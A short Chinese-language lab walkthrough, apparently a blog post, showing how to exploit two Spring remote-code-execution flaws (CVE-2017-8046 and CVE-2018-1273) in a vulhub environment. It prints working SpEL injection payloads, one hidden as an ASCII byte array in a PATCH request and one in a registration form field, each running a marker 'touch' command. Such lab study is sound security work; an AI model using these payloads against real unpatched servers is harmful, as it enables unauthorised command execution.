常见框架漏洞--Spring

Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

环境搭建

漏洞利用

1. 访问 http://your-ip:8080/customers/1

2.然后抓取数据包,使⽤PATCH请求来修改

{ "op": "replace" , "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte\[\]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname" ,"value": "vulhub" }


其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

查看是否上传成功

spring 代码执⾏ (CVE-2018-1273)

搭建环境后访问

访问users

填写注册信息,抓包

在username后加
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/sss")]=&password=&repeatedPassword=

进入终端查看

相关推荐
jimy18 分钟前
Oracle的VM.Standard.E2.1.Micro虚拟机创建后,必要的安全设置,卸snap省内存
服务器·安全
小冷爱学习!17 分钟前
Apache Shiro 1.2.4 反序列化漏洞Shiro-550(CVE-2016-4437)
服务器·网络·python·安全·网络安全·apache
跨境小彭24 分钟前
Temu 批量下架工具推荐|合规安全,支持 SPU/ID 批量导入
大数据·人工智能·安全·跨境电商·temu
南村群童欺我老无力.36 分钟前
鸿蒙PC链接数据库操作的并发与事务安全
数据库·安全·华为·harmonyos
一拳一个娘娘腔39 分钟前
渗透测试实战(一):文件传输全技法与深度解析
安全
cd_949217211 小时前
HPE以全新自主网络能力推动“自动驾驶的网络”愿景落地,加速安全AI原生运维
网络·安全·自动驾驶
世界尽头与你1 小时前
Ollama 内存泄漏漏洞(CVE-2026-7482)
安全·网络安全·渗透测试
一拳一个娘娘腔1 小时前
第一部分:外网打点篇 —— 边界突破
安全
M158227690551 小时前
三格 SG-CAN-SPD CAN 防雷浪涌保护器|总线安全防护专家
安全
学习论之费曼学习法1 小时前
Agent安全与防护:防止Prompt注入和数据泄露
python·安全·prompt